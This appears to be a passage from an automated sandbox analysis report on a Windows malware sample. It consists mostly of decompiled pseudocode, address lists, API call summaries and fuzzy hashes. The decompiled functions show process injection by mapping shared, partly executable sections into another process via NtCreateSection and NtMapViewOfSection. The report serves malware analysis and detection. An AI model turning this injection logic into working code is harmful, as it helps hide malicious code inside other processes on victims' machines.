										 *_t125 = _t177;
										_t126 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t125, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
										__eflags = _t126;
										if(_t126 == 0) {
											_t204 =  *(_t205 - 0x44);
											 *((intOrPtr*)(_t129 + 0x20))(_t177, _t204, 0x104);
											 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
											_t38 = _t205 - 8;
											 *_t38 =  *(_t205 - 8) + 1;
											__eflags =  *_t38;
										}
									}
								}
								_t101 = _t205 - 0x50;
								 *(_t101 + 4) = _t177;
								 *_t101 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
								_t191 = _t205 - 0x58;
								_t102 = NtCreateSection(_t191, 0xe, _t177, _t101, 0x40, 0x8000000, _t177);
								__eflags = _t102;
								if (_t102 != 0) goto L60;
								 *_t102 =  *_t102 + _t102;
								__eflags =  *_t102;
							}
						}
					}
					_push(0x15a4);
					_t93 =  *_t207;
					_push(0x83);
					L004011F5(_t177, __eflags);
					return _t93;
				} else {
					asm("popfd");
					asm("repe add al, 0x9b");
					asm("wait");
					asm("wait");
					return __esi;
				}
			}

0x00401523
0x00401524
0x00401527
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015af
0x004015b2
0x004015b4
0x004015b4
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015ba
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d1
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x00401600
0x00401602
0x0040161d
0x0040161f
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401644
0x00401647
0x00401649
0x0040164e
0x00401651
0x00401654
0x00401667
0x0040166a
0x0040166c
0x0040166e
0x00401671
0x00401685
0x00401688
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016c9
0x004016cb
0x004016cf
0x004016cf
0x004016cf
0x0040161f
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f
0x00401529
0x00401529
0x0040152a
0x0040152d
0x0040152e
0x0040152f
0x0040152f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$CreateDuplicateObject
String ID:
API String ID: 3617974760-0
Opcode ID: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction ID: c9dca56e4daa214b2bd9150ebf0f157daf6c833c296841cdcd3f7df5e4c146b1
Opcode Fuzzy Hash: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction Fuzzy Hash: 91510A71900249BFEB209F92CC48F9FBBB8FF85B14F14411AFA11BA2A5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040158C(void* __eax, void* __edi) {
				void* _t89;
				intOrPtr _t91;
				struct _EXCEPTION_RECORD _t94;
				intOrPtr _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				long _t104;
				PVOID* _t125;
				PVOID* _t127;
				intOrPtr _t131;
				struct _EXCEPTION_RECORD* _t136;
				void* _t180;
				struct _EXCEPTION_RECORD _t181;
				struct _EXCEPTION_RECORD* _t189;
				intOrPtr* _t191;
				HANDLE* _t192;
				HANDLE* _t193;
				void* _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr _t216;

				_t211 = _t210 + 1;
				asm("clc");
				asm("stc");
				_t89 = _t207;
				_t208 = __eax;
				_t180 = __edi - 1;
				_t2 = _t89 - 0x7d;
				 *_t2 =  *((intOrPtr*)(_t89 - 0x7d));
				_t216 =  *_t2;
				_push(0x83);
				L004011F5(_t180, _t216);
				_t131 =  *((intOrPtr*)(__eax + 8));
				_t181 = 0;
				 *((intOrPtr*)(__eax - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(__eax - 0x34)) =  *((intOrPtr*)(__eax - 0x34)) + 1;
				}
				while(1) {
					_t91 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t91 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t91;
				_t189 = _t208 - 0x60;
				 *_t189 = _t181;
				 *((intOrPtr*)(_t131 + 0x4c))(_t91, _t189);
				_t94 =  *_t189;
				if(_t94 != 0) {
					_t136 = _t208 - 0x30;
					 *_t136 = _t94;
					 *(_t136 + 4) = _t181;
					_t191 = _t208 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t191, 0x18);
					 *_t191 = 0x18;
					_push(_t208 - 0x30);
					_push(_t191);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t181, _t181, 2) == 0) {
						 *(_t208 - 8) = _t181;
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t181;
						 *_t101 = 0x5000;
						_t192 = _t208 - 0x54;
						if(NtCreateSection(_t192, 6, _t181, _t101, 4, 0x8000000, _t181) == 0) {
							 *_t28 =  *(_t208 - 0x50);
							_t125 = _t208 - 0x44;
							 *_t125 = _t181;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t125, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
								_t127 = _t208 - 0x3c;
								 *_t127 = _t181;
								if(NtMapViewOfSection( *_t192,  *(_t208 - 0xc), _t127, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
									_t206 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t181, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t103 = _t208 - 0x50;
						 *(_t103 + 4) = _t181;
						 *_t103 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t193 = _t208 - 0x58;
						_t104 = NtCreateSection(_t193, 0xe, _t181, _t103, 0x40, 0x8000000, _t181);
						if (_t104 != 0) goto L60;
						 *_t104 =  *_t104 + _t104;
					}
				}
				_push(0x15a4);
				_t95 =  *_t211;
				_push(0x83);
				L004011F5(_t181, _t237);
				return _t95;
			}

0x0040158c
0x0040158d
0x0040158e
0x0040158f
0x0040158f
0x00401590
0x00401591
0x00401591
0x00401591
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction ID: 02d2e3ac3767ea31e924919402f7a0ff100aaf9667a8aefd77e34752db93229b
Opcode Fuzzy Hash: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction Fuzzy Hash: C9513AB1900249BFEB209F92CC48F9FBBB8FF85B14F10415AFA11AA1E5D7749944CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00401585() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				intOrPtr* _t206;
				void* _t211;

				_push(0x387);
				_t206 = _t205 + 4;
				_push(0x83);
				L004011F5(_t175, _t211);
				_t126 =  *((intOrPtr*)(_t203 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t86;
				_t185 = _t203 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t185);
				_t89 =  *_t185;
				if(_t89 != 0) {
					_t132 = _t203 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t203 - 8) = _t176;
						_t96 = _t203 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t120 = _t203 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t120, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t203 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t122, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t98 = _t203 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						_t99 = NtCreateSection(_t189, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L64;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t206;
				_push(0x83);
				L004011F5(_t176, _t232);
				return _t90;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction ID: 9d9f292dd7e40d4d2d6115b75542e29ae97a3c703512c5fffb38717ec82669a3
Opcode Fuzzy Hash: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction Fuzzy Hash: 36511A75900249BFEB209F91CC48FAF7BB8FF85B14F10416AFA11BA1A5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040159A Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040159A() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				intOrPtr* _t204;
				void* _t209;

				_push(0x83);
				L004011F5(_t175, _t209);
				_t127 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L61;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t204;
				_push(0x83);
				L004011F5(_t176, _t230);
				return _t90;
			}

0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction ID: 1cd82c906aaffff485458f801d6ba595cb0416390f7e33d4f9d681d8d529f326
Opcode Fuzzy Hash: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction Fuzzy Hash: BF510971900249BFEB209F92CC48F9FBBB8FF85B14F104159FA11AA2A5D6749940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401749 Relevance: 3.0, APIs: 2, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction ID: 088a864a315bec2a81033f27f4cad91d314b4a72151043dcf738e9c9ac7e5ebb
Opcode Fuzzy Hash: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction Fuzzy Hash: 0E011475500288FEEB219F92CC49FAF7FB9EF82B10F08016AF510B61E5E2714980CB20

Uniqueness

Uniqueness Score: -1.00%

Function 023F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 023F024D

Strings

cess, xrefs: 023F018D
kernel32.dll, xrefs: 023F008F, 023F0095

Memory Dump Source

Source File: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023F0000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c9e143a7132afb2d700f33134137a80c5e2cb26c854c436d9f01d94a242f29a0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 36526B74A01229DFDBA4CF58D984BACBBB5BF09304F1480D9E54DAB356DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 023F0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,023F0223,?,?), ref: 023F0E19
SetErrorMode.KERNELBASE(00000000,?,?,023F0223,?,?), ref: 023F0E1E

Memory Dump Source

Source File: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023F0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: bbf28fa88db598cca1416b83849b6c0c41f696e2e09afd48b7263ebf89176091
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: ABD01231545128B7D7402A94DC09BCD7B1CDF05B66F008011FB0DD9081C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040960C Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00409621

Memory Dump Source

Source File: 00000000.00000002.379898247.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 09f22faac0721d9c0642c1e333a23e5b630d9d61be688de119dcc45828a166dd
Instruction ID: 434ace90fe230b908a171d0327d9db3b2b2912f8a1fc2f578f0acd5ba4696e9b
Opcode Fuzzy Hash: 09f22faac0721d9c0642c1e333a23e5b630d9d61be688de119dcc45828a166dd
Instruction Fuzzy Hash: FAD05E32A943459ADB109F75AD09B623BDCD388395F008436F91DC6290F6B4D9418A48

Uniqueness

Uniqueness Score: -1.00%

Function 004090E1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 004090E3

Part of subcall function 0040906F: RtlEncodePointer.NTDLL(?), ref: 004090D6

Memory Dump Source

Source File: 00000000.00000002.379898247.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 9786210163ad4483c0a19228d0951d229a32f2fe618db9620de7aae7b9d0445c
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00401932(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t19;
				void* _t20;

				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L00401467(_t19, _t20); // executed
				_t26 = _t10;
				if(_t10 != 0) {
					E00401558(_t14, _t10, _v8, _a16); // executed
				}
				 *_t14(0xffffffff, 0);
				_t12 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t26);
				return _t12;
			}

0x00401943
0x0040195b
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction ID: f289286abcb0c8361d5bc883c0512fb430ce21eb2a0d87beead029bdd4c1ea53
Opcode Fuzzy Hash: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction Fuzzy Hash: 6C11C2F1208204F7E7006A959D62E7A3669AB01714F304137BA43790F1D57D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040193D Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040193D(void* __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t14;
				void* _t16;
				intOrPtr* _t18;
				void* _t30;
				signed int _t38;

				_t26 = __edi;
				asm("in eax, 0x45");
				_t2 = __eax - 0x7a;
				 *_t2 =  *(__eax - 0x7a) | __ecx;
				_t38 =  *_t2;
				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(__edi, _t38);
				_t18 =  *((intOrPtr*)(_t30 + 8));
				Sleep(0x1388);
				_push(_t30 - 4);
				_push( *((intOrPtr*)(_t30 + 0x10)));
				_push( *((intOrPtr*)(_t30 + 0xc)));
				_push(_t18); // executed
				_t14 = L00401467(__edi, __esi); // executed
				_t39 = _t14;
				if(_t14 != 0) {
					E00401558(_t18, _t14,  *((intOrPtr*)(_t30 - 4)),  *((intOrPtr*)(_t30 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t16 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t26, _t39);
				return _t16;
			}

0x0040193d
0x00401940
0x00401942
0x00401942
0x00401942
0x00401943
0x0040195b
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

